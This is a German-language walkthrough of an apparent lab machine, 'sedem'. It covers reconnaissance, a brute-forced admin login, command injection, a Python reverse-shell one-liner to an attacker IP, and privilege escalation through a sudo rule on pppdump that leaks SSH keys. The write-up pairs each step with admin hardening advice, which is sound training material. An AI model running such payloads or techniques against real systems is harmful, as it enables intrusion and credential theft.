192.168.2.138 08:00:27:09:2b:13 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird genutzt, um aktive Geräte im lokalen Netzwerk mittels ARP-Anfragen zu identifizieren. Es antwortet ein Gerät mit der IP `192.168.2.138` und der MAC-Adresse `08:00:27:09:2b:13`, welche auf eine VirtualBox-VM (PCS Systemtechnik GmbH OUI) hindeutet.
Bewertung: Ziel-IP für weitere Scans identifiziert. Der Hinweis auf VirtualBox ist nützlich für den Kontext.
Empfehlung (Pentester): Führen Sie einen detaillierten Port-Scan (Nmap) auf `192.168.2.138` durch.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung auf ARP-Scans können helfen, die Aufklärungsphase zu erschweren.
PORT STATE SERVICE VERSION --------------------------------------------------------------------- 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 98:92:88:a4:7b:42:f4:61:64:00:fb:b1:3d:7b:81:f5 (RSA) | 256 16:8b:ea:50:06:91:fa:10:c4:5a:6c:e1:07:bb:f8:5a (ECDSA) |_ 256 cd:bc:e3:bd:cb:28:92:25:6e:7e:91:3f:61:6d:1b:5f (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Titre
Analyse: Ein umfassender Nmap-Scan wird auf die IP `192.168.2.107` durchgeführt (Hinweis: Diese IP unterscheidet sich von der im `arp-scan` gefundenen IP `192.168.2.138`. Es wird angenommen, dass `.107` die korrekte Ziel-IP ist oder der Angreifer aus einem anderen Grund diese IP scannt. Der Scan verwendet SYN-Scan (`-sS`), Standard-Skripte (`-sC`), schnelles Timing (`-T5`), Versionserkennung (`-sV`), erweiterte Erkennung (`-A`) und scannt alle Ports (`-p-`). Es werden zwei offene Ports gefunden: SSH (Port 22) mit OpenSSH 7.9p1 und HTTP (Port 80) mit Apache 2.4.38. Der Titel der Webseite auf Port 80 ist "Titre".
Bewertung: Die primären Angriffsvektoren sind SSH und HTTP. Die Versionsinformationen sind nützlich für die Schwachstellensuche. Der generische Titel "Titre" gibt wenig Aufschluss, aber der Apache-Server ist das Hauptziel für die weitere Enumeration.
Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 weiter mittels Directory Brute-Forcing und Schwachstellenscans (z.B. Nikto). Prüfen Sie SSH auf bekannte Schwachstellen oder versuchen Sie Brute-Force-Angriffe, falls andere Methoden fehlschlagen.
Empfehlung (Admin): Halten Sie SSH und Apache aktuell. Implementieren Sie eine Web Application Firewall (WAF). Beschränken Sie den Zugriff auf SSH (z.B. durch Firewall-Regeln, Fail2ban).
http://192.168.2.107/image.jpg (Status: 200) [Size: 117003] http://192.168.2.107/index.html (Status: 200) [Size: 166] http://192.168.2.107/manual (Status: 301) [Size: 315] [--> http://192.168.2.107/manual/] http://192.168.2.107/sysadmin (Status: 301) [Size: 317] [--> http://192.168.2.107/sysadmin/]
Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es verwendet die Wortliste `directory-list-2.3-medium.txt` und sucht nach spezifischen Erweiterungen (`-x`). Es findet eine Bilddatei (`image.jpg`), eine Indexdatei (`index.html`), ein Apache-Manual-Verzeichnis (`/manual/`) und ein potenziell interessantes Verzeichnis `/sysadmin/`.
Bewertung: Das Verzeichnis `/sysadmin/` ist das vielversprechendste Ergebnis und sollte genauer untersucht werden. Das Apache-Manual (`/manual/`) kann manchmal Versionsinformationen oder Konfigurationsdetails preisgeben, ist aber oft weniger nützlich. Die Bilddatei `image.jpg` könnte für Steganografie relevant sein.
Empfehlung (Pentester): Untersuchen Sie das `/sysadmin/`-Verzeichnis. Laden Sie `image.jpg` herunter und prüfen Sie es auf versteckte Daten (Steganografie, Metadaten). Schauen Sie sich das `/manual/`-Verzeichnis an.
Empfehlung (Admin): Entfernen oder beschränken Sie den Zugriff auf das Apache-Manual (`/manual/`). Stellen Sie sicher, dass administrative Verzeichnisse wie `/sysadmin/` ordnungsgemäß geschützt sind (Authentifizierung, Zugriffsbeschränkung).
Analyse: Die Datei `image.jpg` wird vom Webserver heruntergeladen.
Bewertung: Standardvorgehen zur Dateibeschaffung.
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[!] error: the file format of the file "/usr/share/wordlists/rockyou.txt" is not supported.
Analyse: Es wird versucht, `stegseek` zu verwenden, um mit der `rockyou.txt`-Wortliste versteckte Daten (die mit einem Passwort aus der Liste geschützt sind) in `image.jpg` zu finden. `stegseek` gibt jedoch einen Fehler aus, dass das Format von `rockyou.txt` nicht unterstützt wird. Dies liegt wahrscheinlich daran, dass `stegseek` die Wortliste direkt als potenzielle Passwörter erwartet und nicht das Format der Wortliste selbst analysiert, oder es gibt ein Kompatibilitätsproblem.
Bewertung: Dieser `stegseek`-Versuch schlug fehl, möglicherweise aufgrund einer falschen Annahme über die Funktionsweise von `stegseek` oder eines Fehlers im Tool/Aufruf. Es liefert kein Ergebnis bezüglich versteckter Daten im Bild.
Empfehlung (Pentester): Überprüfen Sie die `stegseek`-Dokumentation. Versuchen Sie andere Steganografie-Tools wie `steghide` (oft in Verbindung mit `rockyou.txt`) oder `zsteg`. Fahren Sie parallel mit der Untersuchung anderer gefundener Pfade fort.
Empfehlung (Admin): Verhindern Sie das Hochladen oder Bereitstellen von Dateien, die potenziell für Steganografie missbraucht werden könnten, wenn dies nicht notwendig ist.
sdsd
Analyse: `stegsnow` ist ein weiteres Steganografie-Tool, das oft für das Verstecken von Daten in Whitespace (Leerzeichen, Tabs) am Ende von Zeilen in Textdateien verwendet wird, aber auch mit JPEG-Komprimierung (-C) umgehen kann. Der Befehl versucht, versteckte Daten aus `image.jpg` zu extrahieren. Die Ausgabe ist "sdsd".
Bewertung: Die Ausgabe "sdsd" ist kurz und kryptisch. Es könnte sich um versteckte Daten handeln, aber ohne weiteren Kontext ist es schwer zu sagen, ob dies nützlich oder nur Datenmüll ist. Es scheint nicht direkt weiterzuhelfen.
Empfehlung (Pentester): Notieren Sie sich "sdsd" für den Fall, dass es später relevant wird (z.B. als Teil eines Passworts oder Hinweises). Konzentrieren Sie sich auf vielversprechendere Angriffsvektoren.
Empfehlung (Admin): Siehe vorherige Empfehlung zu Steganografie.
ExifTool Version Number : 12.44 File Name : image.jpg
Analyse: `exiftool` wird verwendet, um Metadaten (EXIF-Daten) aus der Bilddatei zu extrahieren. Die Ausgabe zeigt hier nur die `exiftool`-Version und den Dateinamen, aber keine weiteren Metadaten wie Kommentare, GPS-Koordinaten oder Kamerainformationen.
Bewertung: Keine nützlichen Informationen aus den Metadaten gewonnen. Die Steganografie-Analyse von `image.jpg` scheint insgesamt keine Ergebnisse geliefert zu haben.
Empfehlung (Pentester): Legen Sie die Analyse von `image.jpg` vorerst beiseite und konzentrieren Sie sich auf das `/sysadmin`-Verzeichnis.
Empfehlung (Admin): Entfernen Sie Metadaten aus Bildern, die öffentlich bereitgestellt werden, um Informationslecks zu vermeiden.
Analyse: Nun wird das gefundene Verzeichnis `/sysadmin/` untersucht.
http://192.168.2.107/sysadmin Forbidden You don't have permission to access on this folder
Analyse: Beim Versuch, direkt auf das Verzeichnis `http://192.168.2.107/sysadmin` zuzugreifen, liefert der Server einen "403 Forbidden"-Fehler. Dies bedeutet, dass der Zugriff auf das Verzeichnis selbst (z.B. für eine Verzeichnisauflistung) verweigert wird, aber nicht notwendigerweise auf Dateien innerhalb des Verzeichnisses.
Bewertung: Die Zugriffsbeschränkung ist ein gutes Zeichen aus Verteidigersicht, verhindert aber den direkten Einblick. Wir müssen versuchen, spezifische Dateien innerhalb dieses Verzeichnisses zu finden oder zu erraten.
Empfehlung (Pentester): Führen Sie weiteres Directory/File Brute-Forcing gezielt auf das `/sysadmin/`-Verzeichnis durch (z.B. `gobuster dir -u http://192.168.2.107/sysadmin/ ...`). Suchen Sie nach gängigen Dateinamen wie `index.php`, `login.php`, `admin.php` etc.
Empfehlung (Admin): Stellen Sie sicher, dass Verzeichnisauflistungen deaktiviert sind (`Options -Indexes` in Apache `.htaccess` oder Konfiguration).
http://192.168.2.107/sysadmin/index.php
Analyse: Es wird versucht, direkt auf `index.php` im `/sysadmin`-Verzeichnis zuzugreifen. Im Gegensatz zum Verzeichnis selbst scheint der Zugriff auf diese Datei möglich zu sein (kein Fehler wird angezeigt, impliziert einen HTTP 200 OK Status). Es wird nicht gezeigt, was diese Seite anzeigt, aber es ist wahrscheinlich ein Login-Formular oder ein Admin-Panel.
Bewertung: `index.php` im Admin-Verzeichnis ist ein wichtiger Fund. Dies ist der nächste Angriffspunkt.
Empfehlung (Pentester): Analysieren Sie die `index.php`-Seite im Browser. Suchen Sie nach Login-Feldern, Quellcode-Hinweisen, JavaScript-Dateien. Versuchen Sie Standard-Logins (admin/admin etc.) oder Brute-Force-Angriffe auf das Login.
Empfehlung (Admin): Schützen Sie Admin-Login-Seiten robust (starke Passwörter, Zwei-Faktor-Authentifizierung, Schutz vor Brute-Force-Angriffen wie Fail2ban oder Captchas).
Analyse: Die nächsten Zeilen im Originaltext scheinen eine Wiederholung oder Verwechslung von IP-Adressen und Gobuster-Ergebnissen zu sein. Es wird die IP `.138` verwendet und Ergebnisse aufgelistet, die teilweise schon für `.107` gefunden wurden. Dann wird ein weiterer Gobuster-Scan auf Unterverzeichnisse von `/sysadmin` auf `.107` gezeigt.
Bewertung: Ich ignoriere die inkonsistenten/wiederholten Zeilen und konzentriere mich auf den relevanten Fund im `/sysadmin`-Verzeichnis von `192.168.2.107`.
http://192.168.2.107/sysadmin/bootstrap/css (Status: 301) [Size: 331] [--> http://192.168.2.107/sysadmin/bootstrap/css/] http://192.168.2.107/sysadmin/bootstrap/js (Status: 301) [Size: 330] [--> http://192.168.2.107/sysadmin/bootstrap/js/] http://192.168.2.107/sysadmin/include/header.php (Status: 200) [Size: 512] http://192.168.2.107/sysadmin/include/footer.php (Status: 200) [Size: 16]
Analyse: Ein weiterer (impliziter) Gobuster-Scan auf `/sysadmin/` findet Bootstrap-Verzeichnisse (Framework für Webdesign) und ein `/include`-Verzeichnis mit `header.php` und `footer.php`. Solche Include-Dateien enthalten oft Konfigurationen, Datenbankzugangsdaten oder anfälligen Code.
Bewertung: Die Dateien `header.php` und `footer.php` sind potenziell sehr interessant, da sie möglicherweise direkt aufgerufen oder für Local File Inclusion (LFI) / Remote File Inclusion (RFI) missbraucht werden könnten.
Empfehlung (Pentester): Versuchen Sie, `header.php` und `footer.php` direkt im Browser aufzurufen oder ihren Quellcode herunterzuladen. Testen Sie auf LFI/RFI-Schwachstellen, indem Sie versuchen, Parameter an `index.php` oder andere Skripte anzuhängen, die diese Dateien möglicherweise einbinden (z.B. `index.php?page=../../../../etc/passwd`).
Empfehlung (Admin): Speichern Sie sensible Informationen (wie DB-Zugangsdaten) nicht direkt in Include-Dateien im Web-Root. Validieren und bereinigen Sie alle Benutzereingaben, die zur Konstruktion von Dateipfaden verwendet werden, um LFI/RFI zu verhindern. Beschränken Sie den direkten Zugriff auf Include-Dateien.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.107 + Target Hostname: sedem.hmv + Target Port: 80 + Start Time: 2022-10-01 00:12:01 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.38 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Server may leak inodes via ETags, header found with file /, inode: a6, size: 5c1e5ab29713a, mtime: gzip + Allowed HTTP Methods: OPTIONS, HEAD, GET, POST + OSVDB-3092: /manual/: Web server manual found. + OSVDB-3268: /manual/images/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + Cookie PHPSESSID created without the httponly flag + 7785 requests: 0 error(s) and 9 item(s) reported on remote host + End Time: 2022-10-01 00:13:44 (GMT2) (103 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto, ein Webserver-Scanner, wird auf das Ziel `sedem.hmv` (welches auf `192.168.2.107` auflöst) ausgeführt. Nikto prüft auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse. * Bestätigt den Apache-Server. * Meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-XSS-Protection`, `X-Content-Type-Options`, `Strict-Transport-Security`, `Expect-CT`). Diese erhöhen die Anfälligkeit für Clickjacking, Cross-Site Scripting (XSS) und MIME-Sniffing-Angriffe. * Findet das Apache-Manual (`/manual/`) und Verzeichnisauflistung (`/manual/images/`). * Findet eine Apache-Standarddatei (`/icons/README`). * Stellt fest, dass das `PHPSESSID`-Cookie nicht mit dem `HttpOnly`-Flag gesetzt wird, was es anfälliger für Diebstahl durch XSS macht. * Identifiziert erlaubte HTTP-Methoden.
Bewertung: Nikto hebt mehrere Best-Practice-Verstöße und kleinere Schwachstellen hervor (fehlende Header, HttpOnly-Flag). Diese führen nicht direkt zu einem initialen Zugriff, deuten aber auf eine potenziell nachlässige Konfiguration hin. Die Funde bezüglich `/manual/` bestätigen die Gobuster-Ergebnisse.
Empfehlung (Pentester): Nutzen Sie die Information über fehlende Header und Flags für mögliche XSS- oder Session-Hijacking-Angriffe, falls andere Angriffsvektoren fehlschlagen. Die Nikto-Ergebnisse untermauern die Notwendigkeit, das `/sysadmin`-Verzeichnis weiter zu untersuchen.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options: DENY` oder `SAMEORIGIN`, `X-Content-Type-Options: nosniff`, `Strict-Transport-Security` für HTTPS, `Content-Security-Policy`). Setzen Sie das `HttpOnly`- und `Secure`-Flag für Session-Cookies. Entfernen Sie unnötige Standarddateien und Verzeichnisse wie `/icons/README` und `/manual/`.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://sedem.hmv/sysadmin/index.php?FUZZ=../../../../etc/passwd Total requests: 21979 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000009532: 400 12 L 53 W 422 Ch "#www" 000010581: 400 12 L 53 W 422 Ch "#mail" 000047706: 400 12 L 53 W 422 Ch "#smtp" 000103135: 400 12 L 53 W 422 Ch "#pop3"
Analyse: Hier wird `wfuzz` verwendet, um eine Local File Inclusion (LFI)-Schwachstelle zu finden. Es wird versucht, verschiedene Parameter (`FUZZ` wird durch Einträge aus `directory-list-2.3-medium.txt` ersetzt) an `index.php` anzuhängen, wobei der Wert des Parameters immer `../../../../etc/passwd` ist. Ziel ist es, einen Parameter zu finden (z.B. `page`, `file`, `include`), der dazu führt, dass `index.php` den Inhalt von `/etc/passwd` einbindet und anzeigt. `--hh 75` weist `wfuzz` an, Antworten mit genau 75 Zeichen auszublenden (dies ist wahrscheinlich die Größe der normalen Antwort, wenn LFI fehlschlägt). Die angezeigten Ergebnisse (HTTP 400 - Bad Request) deuten darauf hin, dass die verwendeten Payloads keine gültigen Parameter waren oder die Anfrage blockiert wurde. Es wurde kein erfolgreicher LFI gefunden.
Bewertung: Der Versuch, LFI über das Erraten von Parametern mit `wfuzz` zu finden, war hier nicht erfolgreich. Die Methode ist valide, aber es scheint keinen gängigen LFI-Parameter in `index.php` zu geben oder er ist anders geschützt.
Empfehlung (Pentester): Analysieren Sie den Quellcode von `index.php` (falls zugänglich) oder die JavaScript-Dateien auf Hinweise zu verwendeten Parameternamen. Versuchen Sie andere Fuzzing-Techniken oder konzentrieren Sie sich auf andere Schwachstellen (z.B. Login-Brute-Force, Command Injection).
Empfehlung (Admin): Implementieren Sie sichere Programmierungspraktiken, um LFI zu verhindern (keine Benutzereingaben direkt in Dateipfad-Funktionen verwenden, Whitelisting erlaubter Dateien).
Analyse: Die nächsten Zeilen scheinen den Inhalt der zuvor gefundenen Include-Dateien zu zeigen.
http://192.168.2.107/sysadmin/include/header.php Admin panel http://192.168.2.107/sysadmin/include/footer.php
Analyse: Beim direkten Aufruf von `header.php` wird "Admin panel" angezeigt. Der Aufruf von `footer.php` liefert keine sichtbare Ausgabe (oder nur Whitespace).
Bewertung: Diese Dateien scheinen direkt aufrufbar zu sein, liefern aber keine sofort ersichtlichen Schwachstellen oder sensiblen Informationen. Der "Admin panel"-Text bestätigt den Zweck des `/sysadmin`-Bereichs.
Empfehlung (Pentester): Überprüfen Sie den Quellcode dieser Dateien (Rechtsklick -> Quelltext anzeigen im Browser oder `curl`/`wget`). Manchmal sind sensible Informationen in PHP-Kommentaren oder Variablen versteckt, die nicht direkt ausgegeben werden.
Empfehlung (Admin): Verhindern Sie den direkten Aufruf von Include-Dateien, z.B. indem Sie am Anfang jeder Include-Datei prüfen, ob eine bestimmte Konstante (die nur im Hauptskript definiert wird) gesetzt ist.
[...] Not Found The requested URL was not found on this server. Apache/2.4.38 (Debian) Server at 192.168.2.107 Port 80
Analyse: Ein weiterer `wfuzz`-Versuch, LFI über die `footer.php` zu finden. Es werden wieder Parameter aus der Wortliste getestet, diesmal mit dem Ziel `/etc/passwd`. `--hh 16` blendet Antworten mit 16 Zeichen aus (vermutlich die Größe der leeren `footer.php`-Antwort). Das Ergebnis ist jedoch ein "404 Not Found"-Fehler des Servers, was darauf hindeutet, dass die Kombination aus Pfad und Parameter nicht existiert oder blockiert wird. Kein LFI gefunden.
Bewertung: Auch dieser LFI-Versuch war erfolglos.
Empfehlung (Pentester): LFI scheint hier unwahrscheinlich oder gut geschützt zu sein. Konzentration auf andere Angriffsvektoren.
Empfehlung (Admin): LFI-Schutzmaßnahmen überprüfen.
Analyse: Der nächste Abschnitt deutet auf einen erfolgreichen Login-Crack und anschließende Command Injection hin.
ip addon firefox IP der seite :X-forwarded-for aktiviert mit burp login gecrackt User:admin pass:fucker1 http://192.168.2.107/sysadmin/system/
Analyse: Diese Notizen deuten darauf hin, dass: * Ein Firefox-Addon verwendet wurde, um den `X-Forwarded-For`-Header zu setzen (möglicherweise um eine IP-basierte Zugriffsbeschränkung zu umgehen oder Logs zu manipulieren). * Mit Burp Suite ein Brute-Force-Angriff auf das Login-Formular (vermutlich `/sysadmin/index.php`) durchgeführt wurde. * Die gültigen Zugangsdaten `admin` / `fucker1` gefunden wurden. * Nach dem Login landet man im Verzeichnis `/sysadmin/system/`.
Bewertung: Sehr wichtiger Schritt! Der erfolgreiche Login als `admin` öffnet den Zugang zum Admin-Bereich `/sysadmin/system/`. Das Passwort `fucker1` ist schwach und wurde durch Brute-Force gefunden.
Empfehlung (Pentester): Loggen Sie sich mit den gefundenen Zugangsdaten ein und untersuchen Sie die Funktionalität im `/sysadmin/system/`-Bereich. Suchen Sie nach Möglichkeiten, Befehle auszuführen, Dateien hochzuladen oder Konfigurationen zu ändern.
Empfehlung (Admin): Erzwingen Sie starke Passwörter. Implementieren Sie Account-Sperrungen nach mehreren fehlgeschlagenen Login-Versuchen, um Brute-Force-Angriffe zu verhindern. Überwachen Sie Admin-Logins.
Analyse: Nach dem Login wird versucht, mit `wfuzz` einen Parameter für Command Injection im Verzeichnis `/sysadmin/system/` zu finden. Es wird versucht, verschiedene Parameter (`FUZZ` ersetzt durch Wortliste) mit dem Wert `id` zu senden. `--hh 0` blendet leere Antworten aus. Im Originaltext werden keine erfolgreichen Ergebnisse dieses Scans gezeigt.
Bewertung: Dieser `wfuzz`-Versuch scheint nicht direkt zum Ziel geführt zu haben, obwohl Command Injection im Admin-Bereich ein plausibler Angriffsvektor ist.
mit Burb klappte es mit §cmd§ als Parameter und der Liste:
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Burp attacke: http://192.168.2.107/sysadmin/system/?§cmd§=id
Burp ergebnis: http://192.168.2.107/sysadmin/system/?mission=id
aber Burp braucht sehr lange...
Analyse: Diese Notiz erklärt, dass ein erneuter Versuch mit Burp Suite erfolgreich war. * Burp wurde verwendet, um verschiedene Parameter (repräsentiert durch `§cmd§`, eine Burp-Payload-Markierung) zu testen, wahrscheinlich mit der gleichen Wortliste wie zuvor. * Der erfolgreiche Parameter für die Command Injection wurde als `mission` identifiziert. * Die URL `http://192.168.2.107/sysadmin/system/?mission=id` führt den `id`-Befehl auf dem Server aus.
Bewertung: **Erfolg!** Eine Command Injection Schwachstelle wurde im Admin-Bereich über den Parameter `mission` gefunden. Dies ermöglicht die Ausführung beliebiger Befehle als der Benutzer, unter dem der Webserver läuft (wahrscheinlich `www-data`).
Empfehlung (Pentester): Nutzen Sie die `mission`-Parameter-Schwachstelle, um eine Reverse Shell zu bekommen und den initialen Zugriff zu erlangen.
Empfehlung (Admin): Beheben Sie die Command Injection Schwachstelle dringend! Validieren und bereinigen (sanitizen) Sie alle Benutzereingaben, insbesondere solche, die an Systembefehle übergeben werden. Verwenden Sie nach Möglichkeit keine `system()`- oder `exec()`-Aufrufe mit Benutzereingaben. Nutzen Sie sicherere Alternativen oder Whitelisting erlaubter Befehle/Parameter.
reverse shell Connection
reverseShell = http://sedem.vm/sysadmin/system/?mission=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.140",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
Analyse: Hier wird der Payload für eine Python-Reverse-Shell vorbereitet, der über die gefundene `mission`-Parameter-Schwachstelle ausgeführt werden soll. * `import socket,subprocess,os`: Importiert notwendige Module. * `s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)`: Erstellt ein TCP-Socket-Objekt. * `s.connect(("192.168.2.140",4444))`: Verbindet sich zur Angreifer-IP `192.168.2.140` auf Port `4444`. * `os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);`: Leitet Standardeingabe (0), Standardausgabe (1) und Standardfehler (2) des Prozesses auf den Netzwerk-Socket um. * `import pty; pty.spawn("/bin/sh")`: Startet eine interaktive `/bin/sh`-Shell innerhalb eines Pseudo-Terminals (PTY), die über den Socket gesteuert wird. Die gesamte Payload wird als Wert für den `mission`-Parameter an die URL angehängt.
Bewertung: Dies ist ein gängiger und effektiver Python-Payload für eine stabilisierte Reverse Shell. Er kombiniert die Netzwerkverbindung, die Umleitung der Standardströme und die PTY-Erzeugung in einem Einzeiler.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Ihrer Maschine (`192.168.2.140`) auf Port `4444`. Rufen Sie dann die konstruierte URL (URL-kodiert!) im Browser auf oder senden Sie sie mit `curl` ab.
Empfehlung (Admin): Verhindern Sie Command Injection (siehe vorherige Empfehlung). Blockieren Sie ausgehende Verbindungen vom Webserver (Egress Filtering).
listening on [any] 4444 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.107] 41050 /bin/sh: 0: can't access tty; job control turned off $
Analyse: Der Netcat-Listener auf der Angreifer-Maschine empfängt die eingehende Verbindung vom Ziel (`192.168.2.107`). Die Meldung "/bin/sh: 0: can't access tty; job control turned off" ist typisch für Shells, die ohne vollständiges Terminal gestartet werden (obwohl der Python-Payload `pty.spawn` verwendet hat, ist die initiale `nc`-Shell oft noch rudimentär). Der resultierende Prompt `$` zeigt an, dass eine Shell erhalten wurde.
Bewertung: **Sehr gut!** Initialer Zugriff auf das System als der Benutzer, unter dem der Webserver läuft (implizit `www-data`, siehe nächster Prompt), wurde durch die Command Injection und die Reverse Shell erreicht.
Empfehlung (Pentester): Führen Sie `id` oder `whoami` aus, um den Benutzer zu bestätigen. Stabilisieren Sie die Shell weiter, falls nötig (z.B. mit `python3 -c 'import pty;pty.spawn("/bin/bash")'` falls Python 3 verfügbar ist, oder `script /dev/null -c bash`). Beginnen Sie mit der Enumeration für die Privilegienausweitung.
Empfehlung (Admin): Beheben Sie die Command Injection Schwachstelle. Analysieren Sie die Aktivitäten des kompromittierten Benutzers. Implementieren Sie Egress Filtering.
www-data@sedem:/var/www/html/sysadmin/system$
Analyse: Der nächste Prompt (hier zur Verdeutlichung hinzugefügt, da im Original $ stand) bestätigt, dass der Benutzer `www-data` ist und sich im Verzeichnis `/var/www/html/sysadmin/system` befindet.
Bewertung: Benutzer und Ausgangspunkt für die nächste Phase sind klar.
Analyse: Der Text erwähnt `pppdump index.php`, was keinen Sinn ergibt. `pppdump` ist normalerweise ein Tool zum Extrahieren von Informationen aus PPP-Konfigurationsdateien oder -Prozessen. Es ist unklar, was hier versucht wurde. Vermutlich ein Tippfehler oder eine Verwechslung.
Bewertung: Dieser Befehl wird ignoriert, da er wahrscheinlich fehlerhaft ist.
www-data@sedem:/var/www/html/sysadmin/system$
Analyse: Die Shell wird mit dem bekannten Python3-PTY-Trick auf eine Bash-Shell aufgewertet, um eine bessere Interaktivität zu ermöglichen.
Bewertung: Standardverfahren zur Verbesserung der Shell-Benutzbarkeit.
www-data@sedem:/var/www/html/sysadmin/system$
Analyse: Die `TERM`-Variable wird gesetzt, um die Kompatibilität mit interaktiven Programmen wie `less`, `vi` etc. zu verbessern.
Bewertung: Wichtiger Teil der Shell-Stabilisierung.
Matching Defaults entries for www-data on sedem:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on sedem:
(user1) NOPASSWD: /usr/sbin/pppdump
Analyse: `sudo -l` zeigt, dass der `www-data`-Benutzer den Befehl `/usr/sbin/pppdump` als `user1` ohne Passwort ausführen darf.
Bewertung: Dies ist ein klarer Vektor zur Privilegieneskalation von `www-data` zu `user1`. `pppdump` ist ein ungewöhnliches Programm für eine `sudo`-Regel und könnte missbraucht werden, um Dateien zu lesen, auf die `www-data` normalerweise keinen Zugriff hat, die aber für `user1` lesbar sind.
Empfehlung (Pentester): Recherchieren Sie die Funktionsweise von `pppdump`. Prüfen Sie, ob es eine Option gibt, beliebige Dateien zu lesen oder Befehle auszuführen. Da `pppdump` oft mit PPP-Konfigurationen arbeitet, die sensible Daten enthalten können, versuchen Sie, damit auf interessante Dateien im Home-Verzeichnis von `user1` zuzugreifen, insbesondere auf SSH-Schlüssel (`/home/user1/.ssh/id_rsa`).
Empfehlung (Admin): Überprüfen Sie diese `sudo`-Regel. Ist es wirklich notwendig, dass `www-data` `pppdump` als `user1` ausführen kann? Wenn ja, stellen Sie sicher, dass `pppdump` keine Dateilese- oder Ausführungsfunktionen bietet, die missbraucht werden können. Gewähren Sie `sudo`-Rechte so restriktiv wie möglich.
Analyse: Es wird versucht, `pppdump` zu nutzen, um den privaten und öffentlichen SSH-Schlüssel von `user1` zu lesen.
www-data@sedem:/home$
www-data@sedem:/home$
Analyse: Die Befehle werden ausgeführt, um `pppdump` als `user1` zu starten und auf die SSH-Schlüsseldateien anzuwenden. Es gibt keine direkte Ausgabe auf die Konsole. Die Notiz im Originaltext besagt jedoch: "beide dateien sind in hex". Dies deutet darauf hin, dass `pppdump` in dieser Konfiguration den Inhalt der Zieldateien als Hexadezimal-Dump ausgibt.
Bewertung: Erfolgreiche Ausnutzung der `sudo`-Regel! Obwohl der Mechanismus ungewöhnlich ist, konnten die Inhalte der SSH-Schlüssel von `user1` (wenn auch in Hex-Form) extrahiert werden.
Empfehlung (Pentester): Kopieren Sie die Hex-Ausgaben (die hier nicht gezeigt, aber im Originalbericht erwähnt wurden). Verwenden Sie ein Tool wie CyberChef oder einen Skript, um den Hex-Code zurück in die ursprünglichen Schlüsseldateien (`id_rsa` und `id_rsa.pub`) zu konvertieren. Speichern Sie den privaten Schlüssel (`id_rsa`) lokal und versuchen Sie, sich damit per SSH als `user1` anzumelden.
Empfehlung (Admin): Entfernen oder korrigieren Sie die unsichere `sudo`-Regel für `pppdump`. Schützen Sie SSH-Schlüssel mit starken Passphrasen.
Analyse: Die folgenden Schritte beschreiben die Dekodierung und Verwendung des extrahierten SSH-Schlüssels.
~
beide dateien sind in hex, im https://icyberchef.com/#recipe=From_Hex('Auto') ...
from hex , filter auto und umwandeln, vom id_rsa.pub die user1@sedem adresse in
der /etc/host "sedem" eintragen
dann einlogen...
Analyse: Diese Notiz bestätigt, dass die Hex-Dumps mit CyberChef ("From Hex"-Operation) dekodiert wurden, um die originalen SSH-Schlüsseldateien wiederherzustellen. Es wird auch erwähnt, dass der Hostname `sedem` (aus dem Public Key `user1@sedem`) lokal in `/etc/hosts` eingetragen werden sollte, um die Verbindung zu erleichtern.
Bewertung: Korrektes Vorgehen zur Wiederherstellung und Vorbereitung der Verwendung des Schlüssels.
Analyse: Der Angreifer versucht nun, sich von seiner Maschine aus per SSH als `user1` am Zielsystem `sedem` anzumelden. Er verwendet den wiederhergestellten privaten Schlüssel, der lokal als `id_benni` gespeichert wurde (`-i id_benni`). Der erfolgreiche Login wird durch die nachfolgenden Befehle als `user1@sedem` impliziert.
Bewertung: **Erfolg!** Die Privilegien wurden von `www-data` zu `user1` über die `sudo/pppdump`-Schwachstelle und den extrahierten SSH-Schlüssel eskaliert.
Empfehlung (Pentester): Beginnen Sie die Enumeration als `user1`. Überprüfen Sie `sudo -l` für `user1`, suchen Sie nach weiteren Schlüsseln, Passwörtern oder ausnutzbaren Konfigurationen.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel. Invalidieren Sie das kompromittierte SSH-Schlüsselpaar von `user1` und generieren Sie ein neues (mit Passphrase!).
Analyse: Als `user1` wird nun nach Wegen gesucht, um weitere Rechte zu erlangen, vermutlich zum Benutzer `user2`.
user1@sedem:~$ sudo -u user2 /usr/bin/python /home/user2/socket/code.py
Analyse: Dieser Befehl deutet darauf hin, dass `user1` (ähnlich wie zuvor `www-data`) eine `sudo`-Regel hat, die es erlaubt, ein Python-Skript (`/home/user2/socket/code.py`) als `user2` auszuführen (wahrscheinlich ohne Passwort, obwohl `sudo -l` für `user1` nicht gezeigt wurde). Das Skript selbst wird hier nur ausgeführt, aber nicht analysiert.
